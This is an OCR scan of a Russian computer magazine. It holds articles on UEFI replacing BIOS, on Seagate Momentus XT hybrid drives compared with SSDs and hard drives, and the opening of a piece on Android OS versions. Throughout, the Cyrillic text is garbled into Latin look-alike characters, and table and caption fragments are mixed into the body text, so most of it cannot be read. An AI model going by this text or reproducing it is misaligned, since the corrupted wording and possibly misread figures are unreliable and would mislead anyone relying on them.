HHTepcfieMca UEFI 


KoMnbioTepbi Ha 
ruianjDopMe UEFI 
cnoco6Hbi noflKJifo- 
naTbCfl k cen/i 6e3 
3arpy3KM OC 


UEFI: HOB2M cynep-BIOS 

KoHea apbi dapoM 6a30B0M cwcTeMbi BBOfla-BbiBOfla He 3 a ropaivii/i: ee npeeMHMK UEFI 
Cfle/iaeT KoMnbioTepbi 6o/iee 6biCTpbiMM, Hafle>KHbiMi/i m cpyHKLjMOHajibHbiMi/i. 


B IOS (Basic Input/Output Sys- 
tem — 6a30Baa cncreMa BBoaa- 
BbiBoaa) 6bura pa3pa6oTaHa #jih 
KOM iiBioTepoB Haaana 1980-x 
roaoB h aonuia ao Hamero 
BpeMeHH npaKTH^eCKH B HeH3MeHHOM 
Baae. OHa pacno3HaeT odopyaoBaHHe 
IIK h noAroTaBjiHBaeT HeodxoaHMbie 
AJih 3arpy3KH onepaaHOHHoii chctcmbi 
HHT ep^eitcbi. H bot jijw Hee HaKOHea - 
to roTOBa 3aMeHa. 

C 2000 roaa Intel TpyaHTca Haa hobbim 
ranoM HHTep(J)eHca min cbh 3 h Mexcay 
MHKponporpaMMaMH — EFI (Extensible 
Firmware Interface). C 2005 -ro pa 3 pa- 
6 oTKy cnean(|)HKaaHH UEFI (Unified 
EFI) KypnpyeT opraHH 3 aami Unified 
EFI Forum, b KOTOpyio BxoaflT TaKue 
HMeHHTbie KOMnaHHH, Kax Intel, AMD, 
Apple, Dell n Microsoft. B HacToamee 
BpeMH UEFI npeacTaBjiaeT co 6 oii 6 o- 
jiee 6 biCTpyio, CTaGnjibHyio, npocTyio 
b ynpaBjieHHH n k TOMy ace 6 ojiee 6 e 30 - 
nacHyio njiaT(j)opMy. Mbi paccKaaceM, 


uto mrqt Hac nocjie npHBbiuHOH BIOS 
n KaK yace b ckopom BpeMeHH 6yaeT 
npOTeKaTb npoaecc 3 arpy 3 KH IIK. 

Bbime CKopodb: 

MHTerpapi/m ApaiteepoB b UEFI 

3 anycK CHCTeMbi, ynpaBjiaeMbifi BIOS, 
mbi HadjiFoaaeM bchkhh pa 3 npn bkjho- 
neHHH KOMnbiOTepa. Ha npOTaaceHHH 
aojirnx ceKyHa ao noaBjieHna npn- 
BeTCTBeHHoro OKpaHa Windows nK 
npoxoaHT TaK Ha 3 biBaeMyio npoae- 
aypy POST (Power On Self Test), npn 
KOTOpofi KjiaccHnecKaa BIOS bbi- 
nojiHaeT HHHaHajiH 3 aaHio h npo- 
BepaeT Ha padoTocnocodHOCTb Bee 
BCTpoeHHbie b MaTepHHCKyio njiaTy 
annapaTHbie cpeacTBa. 

nocjie TecTa CHCTeMbi BIOS npoBe- 
paeT nepBbm ceKTOp (512 6 aifr) acecT- 
Koro ancKa Ha Hajinune 3 arpy 3 un- 
Ka. B KOMnbioTepax, ocHOBaHHbix Ha 
BIOS, HMeHHO 3 aecb, KaK npaBHjio, 
pacnojiaraeTca rjiaBHaa 3 arpy 30 HHaa 


3 anncb (MBR). OHa onpeaejiaeT, b 
KaKOM pa 3 aejie HaxoanTca 3 arpy 3 UHK 
onepaiiHOHHOH CHCTeMbi, h nepeaaeT 
eMy ynpaBjieHHe, a tot, b cboio oue- 
peab, 3 anycKaeT OC. 

BIOS KOMnbiOTepa odnaaaeT anyMa 
cepbe3HbiMH HeaocTaTKaMH: Bo-nep- 
Bbix, OHa ocHOBaHa Ha 16-6 hthom Koae 
acceMdjiepa h He cnocodm HanpaMyio 
odpamaTbca k 64-6nTHOMy odopyaoBa- 
hhk), pacnpocTpaHeHHOMy b HacToa- 
iaee BpeMa. Bo-btopbix, aan BIOS He 
cyinecTByeT eauHon cnean(|)HKaaHH — 
Kaacabifi npOH3BoaHTeab npeaaaraeT 
codcTBeHHbifi CTaHaapT. 

npn pa3pa6oTKe UEFI yuacTHHKH 
cJiopyMa c caMoro Haaajia ycTaHOBHjin 
aeTKHe paMKH ajhi Kaacaoro npoaec- 
ca. npoaeaypy 3arpy3KH (PI, Platform 
Initialization — HHHaHajiH3aana ruiaT- 
(JlOpMbl) MaTepHHCKOH IUiaTbl, ocho- 
BaHHofi Ha UEFI, Taioxe moxcho pa3ae- 
jihtb Ha HecKoabKO OTanoB. nepBbiM 
H3 hhx, caeayioianM HenocpeacTBeHHo 
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HOOiSHond auuvh : 1/1 Lraxi/itfo as 1 / 1 0 d u-i/i 1/1 h vu i/\io)h :oioct> 



/■ 


OTJlMHMfl B nPOUECCE 3 ArPy 3 KM BIOS II UEFI 

KaK CTapaa BIOS, TaK n ee npeeMHUK UEFI ABJimoTCfl CBfl 3 yfomnM 3 BeHOM Meatfly KOMnoHemaMi/i 
MaiepuHCKOM n/iaTbi 1/1 onepapnoHHow cMCTeMbi. flna coKpameHna BpeMeHn 3 arpy 3 Kn UEFI HafletieH 
HeKOTOpbIMM nOJie 3 HblMM CfDyHKfll/lflMI/l, MHOfMe H 3 KOTOpbIX B HaCTOfllflee BpBMH He MCnOJlb 3 yK)TCfl. 




CiapT 

(§) 


l/lHm 4 Mami 3 ai 4 M 5 i BIOS 





BIOS noc/ieflOBaie/ibHO onpefle/iaeT v\ npoBepseT Bee KOMnoHeHTbi — Hanpmviep, peHTpa/ibHbm npopeccop, 
naMBTb n BMfleon^aiy. floc/ie SToro OHa oOpamaeTCR k flMCKaivi, Ha KOTopbix Bbino/iHseTCH nowcK 3 arpy 3 Hm<a 



‘Master Boot Record 


CiapT 





l/lcnonb3ysq ruiaic|)opMeHHO He3aBMCMMbie 
ApawBepbi, UEFI noc/ie npopeccopa m naMRTM 
MHm4nann3i/ipyeT npoHwe KOMnoHeHTbi MaiepMH- 
ckom nnaibi, npwHeM Hecxo/ibKO oflHOBpeMeHHO 



06o/iOHKa UEFI 
n03B0JlReT 
3anycKaTb 
nporpaMMbi 


UEFI 3apaHee 
M3BecTHO, rfle 
pacno/ioweH 
3arpy3HMK 



/ 


3a BKJiio^eHHeM xoMnbioTepa, hbjih- 
eTCB Pre-EFI Initialization (PEI): chc- 
TeMa 3arpyxaeT MoayJin HHHi^najiH- 
3aitnn npoiteccopa, naMHTH h nnnceTa 
n BBinojiHneT nx. 3aTeM ocymecTB- 
jineTcn nepexoa b oxpyxeHHe ncnoji- 
HeHHn apaHBepOB (DXE). B 3tot momcht 
npOH3BOAHTCH aXTHBaHHH OCTaJIBHBIX 
KOMnoHeHTOB, npnneM oaHOBpeMeH- 
HO HeCKOJIBKHX. 

B UEFI MOvKHO HHTerpHpOBaTB 6ojib- 
moe KOJinnecTBO apaiiBepOB, He npn- 
BB3aHHBIX K OnpeaeJieHHOH CHCTeMe. 
3t0 3HaHHT, HTO npOH3BOAHTeJTHM a O- 
CTaTOHHO HanncaTb Bcero oaHy Bepcmo 
apaHBepa jum Bcex miaT(J)opM. Ejiaro- 
aapn HHHijHajiH3aitHH apaiiBepOB Ha 
3tom paHHeM 3Tane 3anycxa mo>kho no- 
jiynHTL aocTyn k ceTeBon roiaTe, b tom 
HHCJie (pyHKHHHM 3arpy3KH no CeTH HJIH 
yaajieHHoro odcjiyacHBaHHH. KpOMe to- 
ro, npH aKTHBHOH rpacpHHecKOH noa- 


CHCTeMe MOvKHO Hacjia^aaTBcn npHBjie- 
KaTeJIBHO 0(J)0pMJieHHBIM MeHK) UEFI. 

HanGojiBinnH BtrarpLini bo BpeMe- 
hh 3anycxa aocTHraeTCH Gjiaroaapn 
TOMy, hto OTnaaaeT HeodxoanMOCTb b 
noHCKe 3arpy3HHKa Ha Bcex ycTpoiiCT- 
Bax: 3arpy30HHLiH ancx Ha3HanaeTcn b 
UEFI Ha 3Tane ycTaHOBKH OC. 

YcKopeHne CTapTa chctcmbi He eanH- 
CTBeHHOe aOCTOHHCTBO UEFI. B OT- 
aejiBHOM EFI-pa3aejie mo>kho xpaHHTB 
MHOxecTBO npHjioaceHHH. Tax, ente 
ao 3arpy3KH caMoii OC mo>kho 3any- 
cthtb nporpaMMy anarHOCTHKH, anra- 
BHpycHoe IIO hjih ymnmy ynpaBjie- 
HHH CHCTeMOH. 

Bonbiue o 6 teM: noflflepatKa 

HDD eMKOCTbK) CBbuue 3 T6aPiT 

flaBHO Ha3peBinHH nepexoa Ha iuiaT- 
(jiopMy UEFI nocTonHHO OTXjiaabi- 
Bajicn. Tenept oto b npontroM, h bo 


mhotom — Gjiaroaapn jxecTXHM anc- 
xaM eMKOCTBio 3 T6airr, KOTOptie yace 
aocTynHBi b npoaaace. 

BIOS IIK, HcnojiB3yii xjiaccHnecxyio 
MBR BHHnecTepa, cnocodHa nojiynaTB 
aocTyn TOJiBKO k 232 cexTOpaM pa3Me- 
pOM 512 6aiiT, to ecTB MaxcHMyM k 
2 T6airr ancKOBoro npocTpaHCTBa. Sea- 
gate HcnojiB3yeT cexTOpbi 6ojn>mero 
pa3Mepa c itejitio caejiaTL bcio cmkoctb 
aocTynHOH xoTn 6bi nocjie CTapTa Win- 
dows. npH 3TOM KOMnBIOTep Ha OCHOBe 
BIOS He CMoaceT 3arpy3HTi>cn c Taxoro 
ancxa. UEFI ace padoTaeT c TadjumeH 
pa3aejiOB GUID (GPT, GUID Partition 
Table), b xoTopon pa3Mep aapeca co- 
CTaBjineT 64 6HTa, h noaaepacHBaeT ao 
264 cexropOB, to ecTB cnocodeH o6pa- 
inaTbCH x aeBHTH 3eiTa6aHTaM (9 Mjipa 
Tepabairr). GPT-BHHnecTepbi MoacHO 
Hcnojn>30BaTb b onepaitHOHHbix CHCTe- 
Max Windows wmwwm c Bepcnn Vista. 
OaHaxo 3arpy3xa OC B03M0>KHa tojibxo 
C OaHOH H3 HeMHOTHX MaTepHHCXHX 
iuiaT, aocTynHbix ceroaHH Ha pbiHxe, 
HanpHMep Intel DQ57TM. KpOMe to- 
ro, TpedyeTCH HajiHnne 64-6hthoh Win- 
dows (Vista SP1 h Bbinie). BnponeM, 
yxe b 2011 roay Intel HaMepeHa npea- 
CTaBHTb dojibine MaTepHHCxnx iuiaT Ha 
OCHOBe UEFI. OcTajibHbie npOH3Boan- 
TejiH nocjieayiOT ee npHMepy. am? 



«B 2015 roAy 3arpy3KOM 
6 o/iee 90 % CMcreM | 

Ha niiaTc|)opMax Intel 
6yAeT ynpaB/iHTb UEFI» 


BiiHceHT UmviMep, niaBHbM MH)K6Hep Intel 
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h:ht j TECTbl M 0E30Pbl Hocmenn flam-ibix 


noKoneHMe 


mdpNflHblX AMCKOB 


EMKne, dbiCTpbie m Hefloporwe — HOBbie rn6pnflHbie HaKoni/iTejii/i odtefli/iHHiOT 
b ce6e npemviymecTBa Tpafli/mi/iOHHbix Bi/iHnecTepoB c fl0CT0MHCTBaMi/i SSD. 


T BepAOTejiLHtie Ha- 
KOirarejiH (Solid Sta- 
te Drive, SSD) no- 
paxaiOT, c oahoh 

CTOpOHLI, CBOHM 

6bicTpoaeHCTBHeM, a c Apy- 

TOH — BbICOKOH CTOHMO- 

ctbk). KjiaccHHecKHe HDD, 
HanpOTHB, o6xoahtch hcao- 
poro h npeaocTaBjTHK)T or- 
pOMHBie odBeMBi ancKOBoro 


npocTpaHCTBa, ho npH atom 
H e Moryr KOHKypHpOBaTB c 
SSD B CKOpOCTH padOTBI, 
CTaHOBHCb CJiadblM MeCTOM 
COBpeMeHHBIX KOMHBIOTepOB . 
BidpHaHLie xecTKHe ahckh 
(H-HDD) cnoco6HBi pa3pe- 
ihhtb noaodHBie 3aTpyaHe- 
HHH, odBeaHHKH OCHOBHBie 
npeHMymecTBa odenx Tex- 
hojiothh — dojibinyio e\i- 


TexHOJiormi ReadyDrive 
ot Microsoft He MMeeT 6yflymero 


ReadyDrive — cpeflCTBO 
ynpaBBeHM5i m6pMAHbiMM 
HaKonuTe/iflMM, Mcno;ib3y- 
eMoe Windows AJifl noBbi- 
WeHMfl 6blCTpOAeMCTBM51. 
l/lHTepc(Denc Windows 
Dataflow Management 
Layer onpeAe/iaei AaHHbie 
wecTKoro AUCKa, KOTopbie 
6yAyT CKonnpoBaHbi bo 
c(D/ieiiJ-naMHTb. ripo6;ieMa 
33KJI K)HaeTC51 B TOM, HTO 
AHeM KM naMflTM TM6pMAHblX 
HOCMTe/ieM C/1MUJK0M Mailbl, 
HT06bl XpaHMTb AOCTaTOH- 
HblM o6beM MHC(}OpMaAMM. 
Ha npaKTMKe 3 to 03HanaeT, 
HTO pa3HMAa B npOM3BOAM- 
Te/I bHOCTM B HeKOTOpbIX 


c/iyHaiix coBceM He3aMeTHa 
npn noBceAHeBHOM pa6oTe. 
KpoMe toto, TexHO/iorMii 
HeCOBMeCTM M3 C BepCMfl MM 

Windows, npeAwecTByioiAM- 
mm Vista, a caM KOMnbfOTep 
AO/DKeH COOTBeTCTBOBaTb 
onpeAe^eHHbiM annapaT- 
HblM Tpe60BaHM51M. TaK, 
HeKOTopbie a^ckm pa6oTaBM 
TOJlbKO B CB513Ke c aKTya/ib- 
HblMM Ha TOT MOMeHT MaTe- 
PMHCKMMM n^aTaMM M CTpO- 
ro onpeAe/ieHHbiMM HacTpoM- 
KaMM BIOS — M 3TO JIMUb 
oamh M3 npMMepoB Tpe6o- 
B3HMM K CMCTeMe, KOTOpbie 
OKa3aBMCb MCTOHHMKOM 
Jl M LLI H MX C/10>KH0CTeM . 


CTAPAfl I/I HOBAfl TEXH0J10ri/ll/l llPOI/ISBQflCTBA 
fMBPI/lflHblX flMCKOB B CPABHEHMM 


READYDRIVE 

MOMENTUS XT 

PaOoTaeT TOJlbKO c cpaPiuaMM 

PaOoiaeT c 6noKaMn flaHHbix 

OrpaHMneHHbM o6beM crineHj-naMHTM 

HeorpaHMHeHHbM odbeM cpnenj-naMmH 

CoBMecn/iMOCTb TOJlbKO c Windows 
Vista m donee no3flHMMM BepcnaMn 

COBMeCTl/IMOCTb CO BCeMl/l 
onepaiAMOHHbiMM ci/icieMaMi/i 

COBMeCTl/IMOCTb He CO BCeMl/1 flK 

PaOoTaeT HanioOoM KOMnbfOTepe 


KOCTB, BBICOKyiO CKOpOCTB 
paOoTBi h npHeMjieMyio u;e- 
Hy. KoMnaHHH Seagate hb- 
JIHCTCH nepBBIM npOH3BOAH- 
TeJieM, KOTOpBIH BBinyCTHJI 

cepHio 2 , 5 -aiohmobbix Ha- 

KOnHTeJieH, H3TOTOBJieHHBIX 
no mdpHAHOH TeXHOJIOIHH. 

Seagate Momentus XT npe- 
AOCTaBjiiieT ao 500 T6aiTr 
Ahckoboto npocTpaHCTBa, a 
4 Irianr 4)jiem-naMBTH no3- 

BOJI5HOT AOCTHHB 3HaHHTejIb- 
hoto yBejiHneHHH npOH3- 
BOAHTeJIbHOCTH. THdpHAHBie 
HaKonHTejiH npeAHa3Hane- 
hh b nepByio onepeAb aah 
H oyrGyKOB, Tax xax b nopTa- 
THBHblX yCTpOHCTBaX, KaK 
npaBHjio, He npeAycMOTpe- 
Ha B03M03CH0CTB yCTAHOB- 
KH HeCKOJIbKHX AHCKOB. 


BbicoKan CKopodb 
6/iaroflapji cwcieMe 

KOHTpOJIfl flaHHbIX 


OcHOBHaa oco6eHHOCTb ra6- 
pHAHbix HaKonHTejieiT 3a- 
KjnonaeTCH b tom, hto ahck 
G ojibine He AOBepneT pac- 
npeAejieHHe HH(J)opMaAHH 
onepaijHOHHOH cncTeMe, a 
caMOCTOHTejibHO ycTaHaBjiH- 
BaeT, Kaiote AaHHBie Heodxo- 
AHMO nOMeCTHTb BO (jDJieiH- 
naMBTb. TaKHe HOCHTejin 
paGoTaiOT co bccmh Bepcira- 
mh Windows, Mac OS h Linux 
h He TpedyiOT HHCTajuni- 
u;hh cneiiHajibHoro ApaiiBe- 
pa. KpoMe toto, BHenme 
ohh npaKTHnecKH HHHeM 
He OTJIHUaiOTCH OT oObIMHbIX 


HDD. C6op CBeACHHH o 
tom, Kaxne AaHHbie BaxHbi 
AJin nojib30BaTejin, ocyme- 
CTBJIHeT KOHTpOJIJiep ahc- 
xa, KOTOpbiit perncTpHpyeT 
h npOTOKOJiHpyeT Bee Aeit- 
ctbhb, CBH3aHHbie c o6pa- 
meHHHMH K HH(J)OpMaAHH. 
Seagate Ha3biBaeT 3Ty Tex- 
hojiothk) Adaptive Memo- 
ry — caMOoGynaiomancn 
Kem-naMiiTb. HanpHMep, 
npn nepBHHHOM 3anycxe 
AHCKa KOHTpOJIJiep (J)HK- 
cnpyeT h nepeHOCHT bo 
(J ijiem-naMiiTb AaHHbie, He- 
odxoAHMbie 3arpy3- 

kh OC. KorAa KOMnbiOTep 
OKaxeTcn BKjnoneHHbiM bo 
BTO pOH pa3 H 3Ta HH(J)Op- 
MaAHii 6yAeT 3anpomeHa 
noBTOpHO, bo H36eacaHHe 
CHHTblBaHHH C MeAJICHHO- 
ro xecTKoro ahcka 3a- 
npoc 6yAeT nepeHanpaBjieH 
(J)jiem-naMnTH, hto ycxo- 
pHT npoiiecc 3arpy3KH. 3 to 
B 03M03CH0 OjiaTOAapH TO- 
My, HTO HTeHHe AaHHbIX H3 
(Jijiem-naMHTH Momentus 
XT ocymecTBjweTcn npn- 
6jiH3HTejibHO Ha 73% 6bi- 
CTpee, neM c TpaAHAHOH- 
hbix HDD (cm. pe3yjibTa- 
Tbl TeCTOB). KpoMe TOTO, 
co BpeMeHeM nojib30Ba- 
Tejib nonyBCTByeT 3HanH- 
TejibHoe noBbimeHHe 6 bict- 
POACHCTBHH, BeAb CHeTHHK 
KOHTpojuiepa perncTpHpyeT 
(JiaHjibi Bcex 3anycKaeMbix 
npHjioxeHHH h noMema- 
eT hx b TBepAOTejibHyio 
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OOTO: K0MnAHI/ll/l-nP0l/l3B0fll/ITEJll/l 
I/IJ1J1KDCTPA14I/II/I: ESTHER SCHENK-PANIC 




niBPMflHblM HAKOni/ITEJIb 



Momentus XT o6beflMHfleT b oahom 
Kopnyce K/iaccnnecKHn HDD eiviKO- 
CTbio 500 rfiatrr i/i SSD Ha 4 r6am\ 


3anoMMHaroLLiee ycipowcTBo: 

MarHi/iTHbie amckh 
flociyn: MexaHi/inecKi/iM 
(ro/ioBKa HTeHMa/ 3 anncn) 

flOCTOMHCTBa: 

O HeBbicoKaa peHa 
O HeorpaHMHeHHoe KormnecTBo 
onepapi/m 3annci/i 

HeflociaTKM: 

© HyBCTBMTeJlbHOCTb 
k MexaHi/inecKi/iM bosagmctbi/iam 
© Mefl/ieHHaa pa6oia 
© BbicoKoe 3HepronoTpe6/ieHMe 
© LLlyMHOCTb npn pa6oie 


3anoMMHaH)mee ycTpowcTBo: nonynpoBOflHi/iK 
flociyn: ajieKTpoHHbm 


flOCTOMHCTBa: 

© YCTOMHI/IBOCTb K MeX 3 H 1 /IHeCKHM 


HeflociaTKM: 

© BbICOKaa CTOl/IMOCTb 
© OrpaHi/ineHHoe koji unecTBo 
onepapMM 3 anncn 


B 03 A 6 MCTBI/lflM 

© BbicoKaa CKopocTb pa 6 oTbi 
© Hn 3 Koe 3 Hepronoipe 6 /ieHne 
© BecwyiviHafl paOcua 


HDD 


SSD 


BblCOKan CKOpOCTb 
d/iaroflapn Kompojuiepy 

B rn 6 pnflHOM HaKonme/ie ecTb 
cnepnajibHbm KOHTponnep, KOTopbm 
Koni/ipyeT bo c| 3 neLu-naM 5 iTb Han 6 o- 
oee Ba>KHbie .qaHHbie ahh oOecnene- 
h i/m 6 biciporo AOCTyna k hum. 


KoHTpo/mep 



Ojieiu- 

naMBTb 



3anncb 

noAJie>KaiAaB coxpaHeHmo mhcJoop- 
Mapi/iH noMeiAaeTca KOHTpojinepoM 
Ha >KecTKi/m auck — npHMan 3 anncb 
Ha SSD 3 anpeiAeHa. 



PacnpefleneHMe flaHHbix 

BCTpOeHHblM B KOHTponnep CHeTHl/IK 
pen/iCTpi/ipyeT KOJii/inecTBO 3 anpo- 
cob Ha AOCTyn k AaHHbiM. Bocipe- 
6 oBaHHbie (Jjawabi KonupyiOTCfl bo 
c|DJieiiJ-naMHTb. 



(loc/iejoiyKiLuiMM AOCTyn 

npi4 nOBTOpHOM 06paiAeHHM K 
3 TO M 1 / 1 H C |30 pMaUl/l 1/1 KOHTpOJIJiep 
nepeHanpaBJineT 3 anpoc 6 biCTpoia 
(J)jieLiJ-naMflTM. 


nacT b HaKonHTejiii. 3 tot 
npoitecc npoflOJixaeTCH a o 
nojiHoro 3anojiHeHHH cjuieni- 
naMHTH. npH 3TOM KOH- 
TpOJIJiep He flejiaeT HHKaioix 
pa3JIHHHH MQ^KJXy THnaMH 
(jiaHJiOB — oh npocTO 3a- 
noMHHaeT, k xaxnM 6 jio- 
xaM AaHHtix o6pamaioTCH 
nojn>30BaTejib h onepaitH- 
OHHan CHCTeMa h xax uac- 

TO 3 TO npOHCXOAHT. 

C OflHOH CTOpOHBI, Ha- 
jihu;o HBHoe npeHMymecT- 
bo: b 6 bictpoh SSD-naMHTH 
XpaHHTCH TOJIBKO Te a aH- 
HBie, KOTOpBie A^eHCTBHTe- 
JIBHO Heo 6 xOAHMBI. C Apy- 
toh — MeTOfl Gjiohhoh bbi- 
6 opKH 03 HanaeT Taioxe h 
to, hto 3 th cbcachhh 6 y- 
Ayr noTepHHBi nocjie Ae- 
(JiparMeHTaHHH Ancxa. A npn 
3 anycKe npnjioxeHHH, ko- 
TOpBIM He HaiHJIOCB MecTa B 
TBepAOTeJIBHOH HaCTH HaKO- 
nHTeJIH, THGpHAHLIH AUCK 
6 yaeT pa 6 oTaTB xax o 6 bih- 
HblH BHHHeCTep. 


TpaflMIlNOHHblM 

Melon 3anMCM 

npn BBinojiHeHHH onepa- 
IJHH 3anHCH m6pHAHBIH Ha- 
KOnHTeJIB HHHeM He OTJIH- 
HaeTCH OT KJiaCCHHeCKHX 
HDD, Tax xax xoHTpojuiep 
pa3pemaeT HcnojiB30BaTB 
TBepaoTejibHyK) naMHTb tojib- 
KO HTeHHH, a BCe ho- 
Bbie flaHHbie CHauajia co- 
xpaHaeT Ha acecTKOM Aucxe 
(cm. cxeMy). To, hto Mo- 
mentus XT BbinojiHHeT one- 
paiJHH HTeHHH AaHHbix Ha 
nopii^OK 6biCTpee no cpaB- 
HeHHIO C ApyTHMH AHCKa- 
MH, 06l>HCH5ieTC5I CKOpO- 
CTbio BpanteHHii mnnH^ejiu 
(7200 o6./mhh.) h HajiHUH- 
eM xem-naMUTH oGbcmom 
32 M6aHT. HoBoe noxojie- 

HHe THOpHflHblX HaKOnH- 
Tejieii y xe ttoxaaajio CBoe 
npeBoexotteTBO Ha a o 6 biu- 
HblMH 2,5-tUOHMOBbIMH C- 
KaMH Rim Hoyr6yxoB. B Ha- 

CTOJIbHblX nK THOpHAHbie 

pemeHHH no BpeMeHH jx o- 


CTyna Taioxe npaxTHuecxH 
He ocTaBjiHioT maHCOB cbo- 
HM 3,5-flIOHMOBbIM XOH- 

KypeHTaM. OttHaxo Bonpoc 
o tom, Hacxojibxo uejieco- 
06pa3HbIM UBJIUeTCU HC- 
nojib30BaHHe noao6Hbix npo- 
AyxTOB b aaHHOM cerMeHTe, 
ocTaeTCu otkpbitbim: ho- 
Bbiii HaxonnTejib OeccnjieH 
npOTHB TaH^eMa H3 oahoto 
O bicTporo SSD, o6jiaaaK)me- 

TO AOCTaTOHHbIM 06 l>eM 0 M 
AHCxoBoro npocTpaHCTBa 
RJW yCTaHOBKH CHCTeMbI H 
CO(^Ta, H AOnOJIHHTeJIbHO- 

ro HDD ajui xpaHeHiw ttaH- 
Hbix. no 3 TOMy b cerMeHTe 
AOpOTHX nK OH He MO- 
xeT paccMaTpHBaTbcu xax 
cepbe 3 Haii ajibTepHaTHBa 
TBepttOTejibHOMy HaKonn- 
Tejno, a bot b xoMnbioTe- 
pax cpe^Hero xjiacca HMeeT 
Bee rnaHCbi CTaTb jiyumen 
3 aMeHOH KjiaccHuecxoMy 
XeCTKOMy AHCXy, KOTOpblH 
3 HauHTejibHO ycTynaeT eMy 
B CKOpOCTH paGOTbl. HHI? 


/ \ 

>KECTKME AMCKM 

B CPABHEHMM 

TecTMpoBaHMe npon 3 BOAmejib- 
hoctm: m 6 pnAHbm HaKonme/ib 
npoTi/iB SSD i/i 6 biciporo K/iaccn- 
necKoro bi/i HHeciepa. 

CKopocTb HT 6 HMJ 1 , M 6 aMT/c 

HYBRID |^ 83,84 

_HDD_J^B75,8 

CKopocTb : cm M 6 anT/c 

"SSD"TH^^H 206 ’ 4 

HYBRID II 8 T 7 
HDD M 72,9 

BpeMn AOCTyna, mc 

"SSD 10,057 
HYBRID f 1 5,3 
_HDD__[J|^|l9,1 

EMKOCTb, FdanT 

SSD ■ 32 
HYBRID f 1 500 

jHDD_J^^^H750 


■ Intel X25-E 

(12 700 py6./3220 rpH.) 

[ I Seagate Momentus XT 

(4300 py6./1 300 rpH.) 


\ 


Western Digital Scorpio 

(3700 py6./650 rpH.) 


/ 
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HSU? TECTbl H 0E30Pbl Android OS 


BbIBOA 



CeroflH5i Android OS 1.5 n 1.6 npeAycra- 
HaBjinBafOTCfl, KaK npaBM/io, Ha Heflopo- 
rne n/iaHweibi n/in pMflepbi. HMefoiAMe- 
oi b npoAa>Ke KOMMyHMKaiopbi npon3- 
BOAmejiM CTapafOTC5i nepeocHacTMTb 
6o/iee CBe>KMMM BepcnaMM. npownBKM 
c nop^AKOBbiMM HOMepaMM 6o/ibwe 2.0 
npeA/iaraiOT pacwnpeHHbie bo 3 mo>kho- 
ctm m noAAep>KKy TaKMx annapaTHbix 
KOMnOHeHTOB, KaK LED-BCnbllUKM M 
3KpaHbi c 6o/ibUJMM pa3peweHneM. 

K TOMy >Ke ohm 6o/iee npoM3BOAM- 
Te/ibHbi. 5/iaroAapfl OTKpbiTOCTM And- 
roid /ifo6MTe/in caM0CT05iTe/ibH0M ao- 
pa6oTKM BcerAa MoryT yciaHOBMTb 
a/ibiepHaTMBHbie Bepcnn 3 tom 0C. 



CTpeMmejibHO HadHpatoman nonyjiapHOCTb ModmibHaa CMCTeivia Android ot Google 3a 
He oneHb flo/iroe Bpeivm CBoero cymecTBOBaHnn ycnena Bon/iOTi/iTbcn b neTbipex Bepcw- 
yix, a CKopo owMflaeTCH i/i noaBJieHi/ie nflTOM. CHIP paccKa>KeT, hto nojiyHaeT nonb 30 Ba- 
Te/ib npw CMeHe nponii/iBKi/i i/i Ha k 3 kom Bapi/iaHT ctomt opi/ieHTi/ipoBaTbCfl npw noKynxe. 


C MapT(J)OHbi Ha 6a3e Android 
OS CTaHOBHTcn Bee 6ojiee 
BOCTpedOBaHHLIMH. Ilo A^H- 

hlim KOMnaHHH Canalis, b 
III KBapTajie 2010 roAa Ha 

HX AOJHO npHIHJIOCB OKOJIO HeTBepTH 
Bcex npOAaHHBIX KOMMyHHKaTOpOB, a 
b CIII A ohh h BOBce BBiiHjiH Ha nep- 
Boe MecTO. Cennac npaKTHnecKH Bee 
npOH3BOAHTejiH BBinycKaiOT «ryrjio- 
(J)OHLI» CaMBIX pa3HBIX MOACJieH, a 


Taioxe Apyrne ModHjiBHBie ycTpoiiCTBa 
Ha 6a3e aahhoh OC, Taxue xax Gyicpn- 
Aepti h njiaHineTHBie KOMnBKxrepBi . 

B OTjiHHne ot Apple c ee iOS — oc- 
HOBHoro KOHKypeHTa Google, MOAep- 
HH3HpOBaHHan Bepcnn MHKponpor- 
paMMHoro odecneneHHn Android He 
cpa3y CTaHOBHTcn AOCTynHa rjvi Bcex 
KOHeHHBIX yCTpOHCTB. npHHHHa B TOM, 

hto AaHHan CHCTeMa ycTaHaBjiHBaeTcn 
Ha MOACJIH pa3JIHHHBIX npOH3BOAHTe- 


jieir c caMBiMH pa3Hoo6pa3HLiMH an- 
napaTHBIMH KOMnOHeHTaMH. B CBH3H 
c 3thm TpedyeTcn HeMajio BpeMeHH Ha 
aAanTau;HK) nporpaMMHoro odecnene- 
HHH K nOTpedHOCTHM Ka^AOTO KOH- 
KpeTHoro ycTpoiiCTBa. 
nopoir 3aAepncKa o<})HAHajn>Horo od- 

HOBJieHHB GtlBaeT BBI3BaHa MapKeTHH- 
tobbimh npHHHHaMH. Tax, npH bbiboac 
Ha ptiHOK KOMMyHHKaTopa Legend, 
HMeiomero nponiHBKy 2.1, KOMnaHHH 


< 
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HTC oneHb aojito ne oOHOBjinjia 
CHCTeMy ero 6ojiee AemeBoro npe^nie- 
CTBeHHHKa — HTC Hero. 

BnponeM, MOvKHO nonpo6oBaTB ocy- 
meCTBHTB o6HOBJieHHe CaMOCTOHTeJIB- 
ho, nepenponiHB KOMMyHHKaTop jho- 
6HTejiBCKHMH cOopKaMH 6ojiee coBpe- 
MeHHLix BepCHH Android. 

nepBoe ycTpOHCTBO c ycTaHOBjieH - 
hoh Android OS — HTC Dream — 
6 bijio npeACTaBjieHO 23 ceHTn6pn 
2008 ro^a. npnueM 03HaK0MHTBcn c 
hoboh OC jho6oh xejiaiomHH Mor 
noum 3a toa ao 3toto, ycTaHOBHB 
nporpaMMHBiii HHCTpyMeHTapHH pa3- 
paboTHHKa — Android SDK. C Tex 
nop BBimeji p ha obHOBjieHHH nepBOH 
Bepcnn CHCTeMBi. Ohh oObihho hc- 
npaBjimoT oihh6kh h AoOaBjraiOT ho- 
BBie B03M0XCH0CTH. Bee oOHOBJieHHH 
CHadxaiOTCH KOAOBbIMH Ha3BaHHH- 
mh, KOTOptie 3aHMCTByiOTCH y pa3- 
JIHHHblX ACCepTOB. 

B anpejie 2009 roAa noHBHjiacb npo- 
mHBKa 1.5 Cupcake, cnocodHan 3a- 

rpyxaTL MyjIbTHMeAHHHblH KOHTeHT 
Ha cepBHCBi YouTube h Picasa npnMO 


c KOMMyHHKaTop a. OceHLio BBinuia 
1.6 Donut. B Hen CTajio bo 3 mohchbim 
BB ldHpaTB HeCKOJIBKO H 3 o 6 paxeHHH 

b rajiepee. fleHCTBHTejiBHO cepBe 3 HBiM 
